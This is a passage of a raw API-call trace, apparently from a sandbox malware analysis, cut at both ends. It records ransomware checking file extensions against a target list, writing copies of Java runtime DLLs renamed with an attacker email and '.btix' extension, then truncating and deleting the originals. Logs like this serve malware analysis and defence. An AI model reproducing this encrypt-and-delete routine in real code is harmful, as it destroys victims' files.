dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.915] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=0) returned 1 [0146.915] CloseHandle (hObject=0x34c) returned 1 [0146.915] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".doc") returned 4 [0146.916] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".docx") returned 5 [0146.916] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0146.916] lstrlenW (lpString=".pdf") returned 4 [0146.916] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".xls") returned 4 [0146.916] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".xlsx") returned 5 [0146.916] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0146.916] lstrlenW (lpString=".ppt") returned 4 [0146.916] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".zip") returned 4 [0146.916] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".rar") returned 4 [0146.916] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".bz2") returned 4 [0146.916] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString=".7z") returned 3 [0146.916] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".dbf") returned 4 [0146.916] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".1cd") returned 4 [0146.916] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".jpg") returned 4 [0146.916] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.916] lstrlenW (lpString=".doc") returned 4 [0146.917] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".docx") returned 5 [0146.917] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0146.917] lstrlenW (lpString=".pdf") returned 4 [0146.917] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".xls") returned 4 [0146.917] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".xlsx") returned 5 [0146.917] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0146.917] lstrlenW (lpString=".ppt") returned 4 [0146.917] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.917] lstrlenW (lpString=".zip") returned 4 [0146.917] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".rar") returned 4 [0146.917] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".bz2") returned 4 [0146.917] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString=".7z") returned 3 [0146.917] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0146.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.917] lstrlenW (lpString=".dbf") returned 4 [0146.917] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.917] lstrlenW (lpString=".1cd") returned 4 [0146.917] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0146.917] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0146.917] lstrlenW (lpString=".jpg") returned 4 [0146.917] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0146.917] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0146.917] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0146.918] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.918] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=77664) returned 1 [0146.918] CloseHandle (hObject=0x34c) returned 1 [0146.918] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0146.918] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.224] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.224] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.224] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.224] lstrlenW (lpString=".doc") returned 4 [0147.224] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.224] lstrlenW (lpString=".docx") returned 5 [0147.224] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.225] lstrlenW (lpString=".pdf") returned 4 [0147.225] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString=".xls") returned 4 [0147.225] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString=".xlsx") returned 5 [0147.225] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.225] lstrlenW (lpString=".ppt") returned 4 [0147.225] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString=".zip") returned 4 [0147.225] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString=".rar") returned 4 [0147.225] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString=".bz2") returned 4 [0147.225] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.225] lstrlenW (lpString=".7z") returned 3 [0147.225] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString=".dbf") returned 4 [0147.225] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString=".1cd") returned 4 [0147.225] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString=".jpg") returned 4 [0147.225] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.225] lstrlenW (lpString=".doc") returned 4 [0147.225] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.225] lstrlenW (lpString=".docx") returned 5 [0147.225] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.225] lstrlenW (lpString=".pdf") returned 4 [0147.225] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.225] lstrlenW (lpString=".xls") returned 4 [0147.226] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.226] lstrlenW (lpString=".xlsx") returned 5 [0147.226] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.226] lstrlenW (lpString=".ppt") returned 4 [0147.226] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.226] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.226] lstrlenW (lpString=".zip") returned 4 [0147.226] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.226] lstrlenW (lpString=".rar") returned 4 [0147.226] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.226] lstrlenW (lpString=".bz2") returned 4 [0147.226] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.226] lstrlenW (lpString=".7z") returned 3 [0147.226] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.226] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.226] lstrlenW (lpString=".dbf") returned 4 [0147.226] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.226] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.226] lstrlenW (lpString=".1cd") returned 4 [0147.226] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.226] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0147.226] lstrlenW (lpString=".jpg") returned 4 [0147.226] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.226] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.226] lstrlenW (lpString="gstreamer-lite.dll") returned 18 [0147.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.227] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=619584) returned 1 [0147.227] CloseHandle (hObject=0x34c) returned 1 [0147.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0147.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.227] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.227] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.227] GetLastError () returned 0x0 [0147.228] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x97440, lpOverlapped=0x0) returned 1 [0147.268] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x97450, lpOverlapped=0x0) returned 1 [0147.277] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.277] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1 [0147.277] SetEndOfFile (hFile=0x350) returned 1 [0147.278] CloseHandle (hObject=0x350) returned 1 [0147.278] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.278] SetEndOfFile (hFile=0x34c) returned 1 [0147.282] CloseHandle (hObject=0x34c) returned 1 [0147.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.282] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString=".doc") returned 4 [0147.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString=".docx") returned 5 [0147.283] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0147.283] lstrlenW (lpString=".pdf") returned 4 [0147.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString=".xls") returned 4 [0147.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString=".xlsx") returned 5 [0147.283] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0147.283] lstrlenW (lpString=".ppt") returned 4 [0147.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString=".zip") returned 4 [0147.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString=".rar") returned 4 [0147.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.283] lstrlenW (lpString=".bz2") returned 4 [0147.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.283] lstrlenW (lpString=".7z") returned 3 [0147.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString=".dbf") returned 4 [0147.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString=".1cd") returned 4 [0147.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.283] lstrlenW (lpString=".jpg") returned 4 [0147.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString=".doc") returned 4 [0147.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString=".docx") returned 5 [0147.284] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0147.284] lstrlenW (lpString=".pdf") returned 4 [0147.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString=".xls") returned 4 [0147.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString=".xlsx") returned 5 [0147.284] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0147.284] lstrlenW (lpString=".ppt") returned 4 [0147.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString=".zip") returned 4 [0147.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString=".rar") returned 4 [0147.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.284] lstrlenW (lpString=".bz2") returned 4 [0147.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.284] lstrlenW (lpString=".7z") returned 3 [0147.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString=".dbf") returned 4 [0147.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString=".1cd") returned 4 [0147.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0147.284] lstrlenW (lpString=".jpg") returned 4 [0147.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.285] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.285] lstrlenW (lpString="hprof.dll") returned 9 [0147.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.285] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=158272) returned 1 [0147.285] CloseHandle (hObject=0x34c) returned 1 [0147.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0147.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.285] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.285] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.286] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.286] GetLastError () returned 0x0 [0147.286] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x26a40, lpOverlapped=0x0) returned 1 [0147.308] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x26a50, lpOverlapped=0x0) returned 1 [0147.672] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.672] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1 [0147.672] SetEndOfFile (hFile=0x350) returned 1 [0147.672] CloseHandle (hObject=0x350) returned 1 [0147.672] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.672] SetEndOfFile (hFile=0x34c) returned 1 [0147.674] CloseHandle (hObject=0x34c) returned 1 [0147.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.674] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0147.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.674] lstrlenW (lpString=".doc") returned 4 [0147.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString=".docx") returned 5 [0147.674] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0147.674] lstrlenW (lpString=".pdf") returned 4 [0147.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString=".xls") returned 4 [0147.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString=".xlsx") returned 5 [0147.674] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0147.674] lstrlenW (lpString=".ppt") returned 4 [0147.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.674] lstrlenW (lpString=".zip") returned 4 [0147.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString=".rar") returned 4 [0147.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.674] lstrlenW (lpString=".bz2") returned 4 [0147.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.675] lstrlenW (lpString=".7z") returned 3 [0147.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString=".dbf") returned 4 [0147.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString=".1cd") returned 4 [0147.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString=".jpg") returned 4 [0147.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString=".doc") returned 4 [0147.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString=".docx") returned 5 [0147.675] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0147.675] lstrlenW (lpString=".pdf") returned 4 [0147.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString=".xls") returned 4 [0147.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString=".xlsx") returned 5 [0147.675] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0147.675] lstrlenW (lpString=".ppt") returned 4 [0147.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.675] lstrlenW (lpString=".zip") returned 4 [0147.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString=".rar") returned 4 [0147.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.675] lstrlenW (lpString=".bz2") returned 4 [0147.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.675] lstrlenW (lpString=".7z") returned 3 [0147.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.676] lstrlenW (lpString=".dbf") returned 4 [0147.676] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.676] lstrlenW (lpString=".1cd") returned 4 [0147.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0147.676] lstrlenW (lpString=".jpg") returned 4 [0147.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.676] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0147.676] lstrlenW (lpString="jabswitch.exe") returned 13 [0147.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 